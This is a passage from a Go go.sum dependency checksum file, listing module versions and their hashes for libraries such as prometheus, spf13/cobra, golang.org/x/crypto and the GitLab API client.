h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=\ngithub.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=\ngithub.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=\ngithub.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=\ngithub.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=\ngithub.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826 h1:RWengNIwukTxcDr9M+97sNutRR1RKhG96O6jWumTTnw=\ngithub.com/mohae/deepcopy v0.0.0-20170929034955-c48cc78d4826/go.mod h1:TaXosZuwdSHYgviHp1DAtfrULt5eUgsSMsZf+YrPgl8=\ngithub.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U=\ngithub.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U=\ngithub.com/onsi/ginkgo/v2 v2.25.1 h1:Fwp6crTREKM+oA6Cz4MsO8RhKQzs2/gOIVOUscMAfZY=\ngithub.com/onsi/ginkgo/v2 v2.25.1/go.mod h1:ppTWQ1dh9KM/F1XgpeRqelR+zHVwV81DGRSDnFxK7Sk=\ngithub.com/onsi/gomega v1.38.2 h1:eZCjf2xjZAqe+LeWvKb5weQ+NcPwX84kqJ0cZNxok2A=\ngithub.com/onsi/gomega v1.38.2/go.mod h1:W2MJcYxRGV63b418Ai34Ud0hEdTVXq9NW9+Sx6uXf3k=\ngithub.com/opentofu/tofudl v0.0.1 h1:r2uD4nxMnq0Qkzhh/C9Ldxjt+piTJi0R0C40Kf4d+a8=\ngithub.com/opentofu/tofudl v0.0.1/go.mod h1:HeIabsnOzo0WMnIRqI13Ho6hEi6tu2nrQpzSddWL/9w=\ngithub.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4=\ngithub.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=\ngithub.com/petergtz/pegomock/v4 v4.3.0 h1:GPHCrVK0Ao63qTBBLLpcI1jafy13S1KTsLbC/8jPFSU=\ngithub.com/petergtz/pegomock/v4 v4.3.0/go.mod h1:MWuKPa+Q58c+MtwRQKimUzOdOmrDMV71BOzYB7y0ukI=\ngithub.com/pjbgf/sha1cd v0.3.2 h1:a9wb0bp1oC2TGwStyn0Umc/IGKQnEgF0vVaZ8QF8eo4=\ngithub.com/pjbgf/sha1cd v0.3.2/go.mod h1:zQWigSxVmsHEZow5qaLtPYxpcKMMQpa09ixqBxuCS6A=\ngithub.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA=\ngithub.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=\ngithub.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=\ngithub.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=\ngithub.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=\ngithub.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=\ngithub.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U=\ngithub.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=\ngithub.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=\ngithub.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo=\ngithub.com/prometheus/client_golang v1.7.1/go.mod h1:PY5Wy2awLA44sXw4AOSfFBetzPP4j5+D6mVACh+pe2M=\ngithub.com/prometheus/client_golang v1.11.0/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0=\ngithub.com/prometheus/client_golang v1.12.1 h1:ZiaPsmm9uiBeaSMRznKsCDNtPCS0T3JVDGF+06gjBzk=\ngithub.com/prometheus/client_golang v1.12.1/go.mod h1:3Z9XVyYiZYEO+YQWt3RD2R3jrbd179Rt297l4aS6nDY=\ngithub.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=\ngithub.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=\ngithub.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=\ngithub.com/prometheus/client_model v0.2.0 h1:uq5h0d+GuxiXLJLNABMgp2qUWDPiLvgCzz2dUR+/W/M=\ngithub.com/prometheus/client_model v0.2.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=\ngithub.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4=\ngithub.com/prometheus/common v0.10.0/go.mod h1:Tlit/dnDKsSWFlCLTWaA1cyBgKHSMdTB80sz/V91rCo=\ngithub.com/prometheus/common v0.26.0/go.mod h1:M7rCNAaPfAosfx8veZJCuw84e35h3Cfd9VFqTh1DIvc=\ngithub.com/prometheus/common v0.32.1/go.mod h1:vu+V0TpY+O6vW9J44gczi3Ap/oXXR10b+M/gUGO4Hls=\ngithub.com/prometheus/common v0.34.0 h1:RBmGO9d/FVjqHT0yUGQwBJhkwKV+wPCn7KGpvfab0uE=\ngithub.com/prometheus/common v0.34.0/go.mod h1:gB3sOl7P0TvJabZpLY5uQMpUqRCPPCyRLCZYc7JZTNE=\ngithub.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk=\ngithub.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA=\ngithub.com/prometheus/procfs v0.1.3/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU=\ngithub.com/prometheus/procfs v0.6.0/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA=\ngithub.com/prometheus/procfs v0.7.3/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA=\ngithub.com/prometheus/procfs v0.10.1 h1:kYK1Va/YMlutzCGazswoHKo//tZVlFpKYh+PymziUAg=\ngithub.com/prometheus/procfs v0.10.1/go.mod h1:nwNm2aOCAYw8uTR/9bWRREkZFxAUcWzPHWJq+XBB/FM=\ngithub.com/redis/go-redis/v9 v9.17.3 h1:fN29NdNrE17KttK5Ndf20buqfDZwGNgoUr9qjl1DQx4=\ngithub.com/redis/go-redis/v9 v9.17.3/go.mod h1:u410H11HMLoB+TP67dz8rL9s6QW2j76l0//kSOd3370=\ngithub.com/remeh/sizedwaitgroup v1.0.0 h1:VNGGFwNo/R5+MJBf6yrsr110p0m4/OX4S3DCy7Kyl5E=\ngithub.com/remeh/sizedwaitgroup v1.0.0/go.mod h1:3j2R4OIe/SeS6YDhICBy22RWjJC5eNCJ1V+9+NVNYlo=\ngithub.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=\ngithub.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8=\ngithub.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs=\ngithub.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=\ngithub.com/sagikazarmark/locafero v0.11.0 h1:1iurJgmM9G3PA/I+wWYIOw/5SyBtxapeHDcg+AAIFXc=\ngithub.com/sagikazarmark/locafero v0.11.0/go.mod h1:nVIGvgyzw595SUSUE6tvCp3YYTeHs15MvlmU87WwIik=\ngithub.com/samber/lo v1.38.1 h1:j2XEAqXKb09Am4ebOg31SpvzUTTs6EN3VfgeLUhPdXM=\ngithub.com/samber/lo v1.38.1/go.mod h1:+m/ZKRl6ClXCE2Lgf3MsQlWfh4bn1bz6CXEOxnEXnEA=\ngithub.com/sergi/go-diff v1.3.2-0.20230802210424-5b0b94c5c0d3 h1:n661drycOFuPLCN3Uc8sB6B/s6Z4t2xvBgU1htSHuq8=\ngithub.com/sergi/go-diff v1.3.2-0.20230802210424-5b0b94c5c0d3/go.mod h1:A0bzQcvG0E7Rwjx0REVgAGH58e96+X0MeOfepqsbeW4=\ngithub.com/shopspring/decimal v1.4.0 h1:bxl37RwXBklmTi0C79JfXCEBD1cqqHt0bbgBAGFp81k=\ngithub.com/shopspring/decimal v1.4.0/go.mod h1:gawqmDU56v4yIKSwfBSFip1HdCCXN8/+DMd9qYNcwME=\ngithub.com/shurcooL/githubv4 v0.0.0-20260209031235-2402fdf4a9ed h1:KT7hI8vYXgU0s2qaMkrfq9tCA1w/iEPgfredVP+4Tzw=\ngithub.com/shurcooL/githubv4 v0.0.0-20260209031235-2402fdf4a9ed/go.mod h1:zqMwyHmnN/eDOZOdiTohqIUKUrTFX62PNlu7IJdu0q8=\ngithub.com/shurcooL/graphql v0.0.0-20220606043923-3cf50f8a0a29 h1:B1PEwpArrNp4dkQrfxh/abbBAOZBVp0ds+fBEOUOqOc=\ngithub.com/shurcooL/graphql v0.0.0-20220606043923-3cf50f8a0a29/go.mod h1:AuYgA5Kyo4c7HfUmvRGs/6rGlMMV/6B1bVnB9JxJEEg=\ngithub.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo=\ngithub.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=\ngithub.com/sirupsen/logrus v1.6.0/go.mod h1:7uNnSEd1DgxDLC74fIahvMZmmYsHGZGEOFrfsX/uA88=\ngithub.com/skeema/knownhosts v1.3.1 h1:X2osQ+RAjK76shCbvhHHHVl3ZlgDm8apHEHFqRjnBY8=\ngithub.com/skeema/knownhosts v1.3.1/go.mod h1:r7KTdC8l4uxWRyK2TpQZ/1o5HaSzh06ePQNxPwTcfiY=\ngithub.com/slack-go/slack v0.16.0 h1:khp/WCFv+Hb/B/AJaAwvcxKun0hM6grN0bUZ8xG60P8=\ngithub.com/slack-go/slack v0.16.0/go.mod h1:hlGi5oXA+Gt+yWTPP0plCdRKmjsDxecdHxYQdlMQKOw=\ngithub.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 h1:+jumHNA0Wrelhe64i8F6HNlS8pkoyMv5sreGx2Ry5Rw=\ngithub.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8/go.mod h1:3n1Cwaq1E1/1lhQhtRK2ts/ZwZEhjcQeJQ1RuC6Q/8U=\ngithub.com/spf13/afero v1.15.0 h1:b/YBCLWAJdFWJTN9cLhiXXcD7mzKn9Dm86dNnfyQw1I=\ngithub.com/spf13/afero v1.15.0/go.mod h1:NC2ByUVxtQs4b3sIUphxK0NioZnmxgyCrfzeuq8lxMg=\ngithub.com/spf13/cast v1.10.0 h1:h2x0u2shc1QuLHfxi+cTJvs30+ZAHOGRic8uyGTDWxY=\ngithub.com/spf13/cast v1.10.0/go.mod h1:jNfB8QC9IA6ZuY2ZjDp0KtFO2LZZlg4S/7bzP6qqeHo=\ngithub.com/spf13/cobra v1.10.2 h1:DMTTonx5m65Ic0GOoRY2c16WCbHxOOw6xxezuLaBpcU=\ngithub.com/spf13/cobra v1.10.2/go.mod h1:7C1pvHqHw5A4vrJfjNwvOdzYu0Gml16OCs2GRiTUUS4=\ngithub.com/spf13/pflag v1.0.9/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=\ngithub.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk=\ngithub.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=\ngithub.com/spf13/viper v1.21.0 h1:x5S+0EU27Lbphp4UKm1C+1oQO+rKx36vfCoaVebLFSU=\ngithub.com/spf13/viper v1.21.0/go.mod h1:P0lhsswPGWD/1lZJ9ny3fYnVqxiegrlNrEmgLjbTCAY=\ngithub.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=\ngithub.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=\ngithub.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=\ngithub.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=\ngithub.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=\ngithub.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=\ngithub.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=\ngithub.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=\ngithub.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8=\ngithub.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU=\ngithub.com/twmb/murmur3 v1.1.8 h1:8Yt9taO/WN3l08xErzjeschgZU2QSrwm1kclYq+0aRg=\ngithub.com/twmb/murmur3 v1.1.8/go.mod h1:Qq/R7NUyOfr65zD+6Q5IHKsJLwP7exErjN6lyyq3OSQ=\ngithub.com/uber-go/tally/v4 v4.1.17 h1:C+U4BKtVDXTszuzU+WH8JVQvRVnaVKxzZrROFyDrvS8=\ngithub.com/uber-go/tally/v4 v4.1.17/go.mod h1:ZdpiHRGSa3z4NIAc1VlEH4SiknR885fOIF08xmS0gaU=\ngithub.com/ulikunitz/xz v0.5.15 h1:9DNdB5s+SgV3bQ2ApL10xRc35ck0DuIX/isZvIk+ubY=\ngithub.com/ulikunitz/xz v0.5.15/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=\ngithub.com/urfave/negroni/v3 v3.1.1 h1:6MS4nG9Jk/UuCACaUlNXCbiKa0ywF9LXz5dGu09v8hw=\ngithub.com/urfave/negroni/v3 v3.1.1/go.mod h1:jWvnX03kcSjDBl/ShB0iHvx5uOs7mAzZXW+JvJ5XYAs=\ngithub.com/xanzy/ssh-agent v0.3.3 h1:+/15pJfg/RsTxqYcX6fHqOXZwwMP+2VyYWJeWM2qQFM=\ngithub.com/xanzy/ssh-agent v0.3.3/go.mod h1:6dzNDKs0J9rVPHPhaGCukekBHKqfl+L3KghI1Bc68Uw=\ngithub.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=\ngithub.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=\ngithub.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=\ngithub.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=\ngithub.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=\ngithub.com/yuin/gopher-lua v1.1.1 h1:kYKnWBjvbNP4XLT3+bPEwAXJx262OhaHDWDVOPjL46M=\ngithub.com/yuin/gopher-lua v1.1.1/go.mod h1:GBR0iDaNXjAgGg9zfCvksxSRnQx76gclCIb7kdAd1Pw=\ngithub.com/zclconf/go-cty v1.16.3 h1:osr++gw2T61A8KVYHoQiFbFd1Lh3JOCXc/jFLJXKTxk=\ngithub.com/zclconf/go-cty v1.16.3/go.mod h1:VvMs5i0vgZdhYawQNq5kePSpLAoz8u1xvZgrPIxfnZE=\ngithub.com/zclconf/go-cty-debug v0.0.0-20240509010212-0d6042c53940 h1:4r45xpDWB6ZMSMNJFMOjqrGHynW3DIBuR2H9j0ug+Mo=\ngithub.com/zclconf/go-cty-debug v0.0.0-20240509010212-0d6042c53940/go.mod h1:CmBdvvj3nqzfzJ6nTCIwDTPZ56aVGvDrmztiO5g3qrM=\ngitlab.com/gitlab-org/api/client-go v0.118.0 h1:qHIEw+XHt+2xuk4iZGW8fc6t+gTLAGEmTA5Bzp/brxs=\ngitlab.com/gitlab-org/api/client-go v0.118.0/go.mod h1:E+X2dndIYDuUfKVP0C3jhkWvTSE00BkLbCsXTY3edDo=\ngo.etcd.io/bbolt v1.4.3 h1:dEadXpI6G79deX5prL3QRNP6JB8UxVkqo4UPnHaNXJo=\ngo.etcd.io/bbolt v1.4.3/go.mod h1:tKQlpPaYCVFctUIgFKFnAlvbmB3tpy1vkTnDWohtc0E=\ngo.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU=\ngo.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8=\ngo.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=\ngo.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=\ngo.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=\ngo.uber.org/atomic v1.11.0 h1:ZvwS0R+56ePWxUNi+Atn9dWONBPp/AUETXlHW0DxSjE=\ngo.uber.org/atomic v1.11.0/go.mod h1:LUxbIzbOniOlMKjJjyPfpl4v+PKK2cNJn91OQbhoJI0=\ngo.uber.org/automaxprocs v1.6.0 h1:O3y2/QNTOdbF+e/dpXNNW7Rx2hZ4sTIPyybbxyNqTUs=\ngo.uber.org/automaxprocs v1.6.0/go.mod h1:ifeIMSnPZuznNm6jmdzmU3/bfk01Fe2fotchwEFJ8r8=\ngo.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=\ngo.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=\ngo.uber.org/mock v0.6.0 h1:hyF9dfmbgIX5EfOdasqLsWD6xqpNZlXblLB/Dbnwv3Y=\ngo.uber.org/mock v0.6.0/go.mod h1:KiVJ4BqZJaMj4svdfmHM0AUx4NJYO8ZNpPnZn1Z+BBU=\ngo.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0=\ngo.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y=\ngo.uber.org/zap v1.27.1 h1:08RqriUEv8+ArZRYSTXy1LeBScaMpVSTBhCeaZYfMYc=\ngo.uber.org/zap v1.27.1/go.mod h1:GB2qFLM7cTU87MWRP2mPIjqfIDnGu+VIO4V/SdhGo2E=\ngo.yaml.in/yaml/v3 v3.0.4 h1:tfq32ie2Jv2UxXFdLJdh3jXuOzWiL1fo0bu/FbuKpbc=\ngo.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg=\ngolang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=\ngolang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=\ngolang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=\ngolang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=\ngolang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=\ngolang.org/x/crypto v0.0.0-20200403201458-baeed622b8d8/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=\ngolang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=\ngolang.org/x/crypto v0.0.0-20210513164829-c07d793c2f9a/go.mod h1:P+XmwS30IXTQdn5tA2iutPOUgjI07+tq3H3K9MVA1s8=\ngolang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=\ngolang.org/x/crypto v0.3.1-0.20221117191849-2c476679df9a/go.mod h1:hebNnKkNXi2UzZN1eVRvBB7co0a+JxK6XbPiWVs/3J4=\ngolang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU=\ngolang.org/x/crypto v0.47.0 h1:V6e3FRj+n4dbpw86FJ8Fv7XVOql7TEwpHapKoMJ/GO8=\ngolang.org/x/crypto v0.47.0/go.mod h1:ff3Y9VzzKbwSSEzWqJsJVBnWmRwRSHt/6Op5n9bQc4A=\ngolang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=\ngolang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=\ngolang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8=\ngolang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek=\ngolang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY=\ngolang.org/x/exp v0.0.0-20191129062945-2f5052295587/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4=\ngolang.org/x/exp v0.0.0-20191227195350-da58074b4299/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4=\ngolang.org/x/exp v0.0.0-20200119233911-0405dc783f0a/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4=\ngolang.org/x/exp v0.0.0-20200207192155-f17229e696bd/go.mod h1:J/WKrq2StrnmMY6+EHIKF9dgMWnmCNThgcyBT1FY9mM=\ngolang.org/x/exp v0.0.0-20200224162631-6cc2880d07d6/go.mod h1:3jZMyOhIsHpP37uCMkUooju7aAi5cS1Q23tOzKc+0MU=\ngolang.org/x/exp v0.0.0-20231006140011-7918f672742d h1:jtJma62tbqLibJ5sFQz8bKtEM8rJBtfilJ2qTU199MI=\ngolang.org/x/exp v0.0.0-20231006140011-7918f672742d/go.mod h1:ldy0pHrwJyGW56pPQzzkH36rKxoZW1tw7ZJpeKx+hdo=\ngolang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js=\ngolang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=\ngolang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=\ngolang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=\ngolang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=\ngolang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=\ngolang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=\ngolang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=\ngolang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=\ngolang.org/x/lint v0.0.0-20191125180803-fdd1cda4f05f/go.mod h1:5qLYkcX4OjUUV8bRuDixDT3tpyyb+LUpUlRWLxfhWrs=\ngolang.org/x/lint v0.0.0-20200130185559-910be7a94367/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=\ngolang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=\ngolang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE=\ngolang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o=\ngolang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc=\ngolang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY=\ngolang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=\ngolang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=\ngolang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=\ngolang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=\ngolang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=\ngolang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=\ngolang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=\ngolang.org/x/mod v0.32.0 h1:9F4d3PHLljb6x//jOyokMv3eX+YDeepZSEo3mFJy93c=\ngolang.org/x/mod v0.32.0/go.mod h1:SgipZ/3h2Ci89DlEtEXWUk/HteuRin+HHhN+WbNhguU=\ngolang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod 